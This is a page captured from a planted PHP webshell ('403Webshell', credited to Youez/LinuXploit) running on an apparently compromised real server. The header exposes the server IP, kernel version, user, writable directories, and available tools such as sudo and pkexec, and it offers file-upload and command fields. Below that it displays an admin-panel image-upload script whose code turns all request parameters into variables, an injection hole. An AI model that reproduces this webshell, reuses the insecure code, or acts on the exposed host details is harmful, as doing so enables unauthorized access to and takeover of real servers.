403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rsdgroup/adminPanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rsdgroup/adminPanel/write_image.php
<?php
include_once("session.php");
include_once("settings.php");
foreach ($_REQUEST as $key => $value) {
	$$key = $value;
}

/*echo "<pre>";
print_r($_REQUEST);
echo "</pre>";
die;*/
$fileName = 'image';

if ($_FILES[$fileName]["error"] == 0) {
	$tmp_name = $_FILES[$fileName]["tmp_name"];
	$photoName = $_FILES[$fileName]["name"];
	$photoName = ereg_replace("[^A-Za-z0-9.]", "", $photoName);
	$photoNameArr = explode(".",$photoName);
	//echo "<pre>";print_r($photoNameArr);echo "</pre>";
	//echo count($photoNameArr)."<br>";
	$fileExt = strtolower($photoNameArr[count($photoNameArr)-1]);
	//echo $fileExt."<br>";
	unset($photoNameArr[count($photoNameArr)-1]);
	//echo "<pre>";print_r($photoNameArr);echo "</pre>";
	$photoNameWithoutExt = implode("_",$photoNameArr);
	//echo $photoNameWithoutExt."<br>";
	//$img1New = $photoNameWithoutExt.time().".".$fileExt;
	$img1New = $fileName.time().".".$fileExt;
	//echo $img1New."<br>";
	if($fileExt == "png" || $fileExt == "jpg" || $fileExt == "jpeg" || $fileExt == "gif" ){
		$img1New			=	$img1New;
		move_uploaded_file($tmp_name, "../cat_images/abtInfoImages/".$img1New.""); 
		$img =  $img1New ;
	}
	else{  $img =''; ?>
		<script>
		document.location="image_list.php?page=listmedia"
		</script>
	<?php }
}
else{ ?>
	<script>
		document.location="image_list.php?page=listmedia"
	</script>
<?php }





$sql	=	"INSERT INTO `tblPhoto` (`media`, `type`, `isDeleted`, `createdOn`, `createdBy`) VALUES ('".$img."', 'img', 'no', unix_timestamp(), 'admin')";
$result=mysql_query($sql);
?>
<script>
document.location="image_list.php?page=listimage"
</script>




Youez - 2016 - github.com/yon3zu
LinuXploit